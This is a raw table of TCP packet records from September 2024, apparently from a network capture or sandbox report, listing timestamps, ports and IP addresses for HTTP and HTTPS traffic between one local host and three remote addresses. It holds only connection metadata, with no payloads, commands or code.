Sep 29, 2024 00:53:24.574398041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.574489117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574541092 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.574548960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574558020 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574567080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574572086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574604988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.574624062 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574630022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574635029 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.574642897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.574671030 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.574697018 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575620890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575628996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575634956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575640917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575661898 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575671911 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575686932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575716019 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575735092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575741053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575751066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575810909 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575810909 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575856924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575915098 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.575993061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.575998068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576009035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576014996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576020002 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576035023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576046944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576052904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576057911 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576060057 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576065063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576070070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576075077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576080084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576092005 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576098919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576103926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576127052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576127052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576147079 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576220036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576225996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576237917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576287031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576293945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576303959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576333046 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576333046 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576400042 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576406002 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.576442957 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.576797009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576803923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576816082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576828003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576833963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576852083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576857090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576857090 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.576869011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.576894045 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.576894045 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.576910973 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577008009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577013969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577019930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577024937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577030897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577037096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577048063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577055931 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577095032 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577119112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577124119 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577130079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577136993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577172995 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577188969 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577200890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577207088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577218056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577224016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577264071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577306986 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577673912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577744961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577749968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577770948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577799082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577805042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577827930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577835083 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577837944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577837944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577846050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577888012 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577888012 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.577900887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577905893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.577946901 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578036070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578047991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578054905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578059912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578078985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578083992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578082085 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578090906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578114986 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578140974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578147888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578178883 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578224897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578232050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578243017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578250885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578254938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578258991 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578294992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578294992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578341961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578427076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578448057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578453064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578459024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578464031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578469038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578475952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578480959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578500032 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578500032 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578541994 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.578927040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578963995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578973055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.578979015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579080105 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579085112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579091072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579143047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579147100 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579149961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579155922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579160929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579189062 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579190969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579197884 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579209089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579233885 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579233885 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579271078 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579292059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579298019 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579309940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579313993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.579355955 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.579402924 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.581089020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581103086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581114054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581160069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581166983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581178904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581183910 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.581202030 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.581202984 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.581227064 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.585656881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585721016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.585750103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585757971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585768938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585774899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585784912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585789919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585796118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585798025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.585813046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585818052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585829973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.585834026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585844994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585850954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585858107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.585858107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.585875034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.585894108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.589792967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589871883 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.589905977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589911938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589922905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589927912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589934111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589939117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589945078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.589947939 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590017080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590116024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590121984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590132952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590137959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590148926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590152979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590158939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590166092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590192080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590192080 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590197086 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.590212107 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590245962 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590286970 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.590315104 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.590372086 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.590404034 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.590476036 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.590502977 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.590559006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590564966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590572119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590576887 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.590615034 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590630054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590636015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590641975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590646982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590655088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.590697050 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590697050 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.590806961 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.590872049 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.590908051 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.590964079 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.590997934 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.591056108 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.591073990 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.591160059 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.591644049 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.591703892 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.591751099 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.591943979 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.591954947 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.592003107 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.592451096 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.592511892 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.592540979 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.592621088 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.592636108 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.592688084 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.592716932 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.592789888 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.593218088 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.593302011 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.593317032 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.593364954 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.593369961 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.593467951 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.594103098 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.594191074 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.594197989 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.594239950 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.594259024 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.594320059 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.594346046 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.594391108 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.641151905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641159058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641170025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641244888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641249895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641290903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641294003 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641303062 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.641334057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641335964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641345024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641350985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641356945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641362906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641364098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641377926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641383886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641398907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641406059 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641406059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641427040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641453981 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641479969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641485929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641498089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641503096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641509056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641514063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641524076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641526937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641532898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641539097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641550064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641556025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641560078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641577959 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.641580105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641582012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641588926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641593933 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.641594887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641601086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641602993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641609907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641614914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641625881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641628027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641633987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641649961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641654968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641660929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641665936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641668081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641674042 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.641700983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641702890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641725063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.641727924 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.641727924 CEST	49708	80	192.168.2.9	103.130.147.211
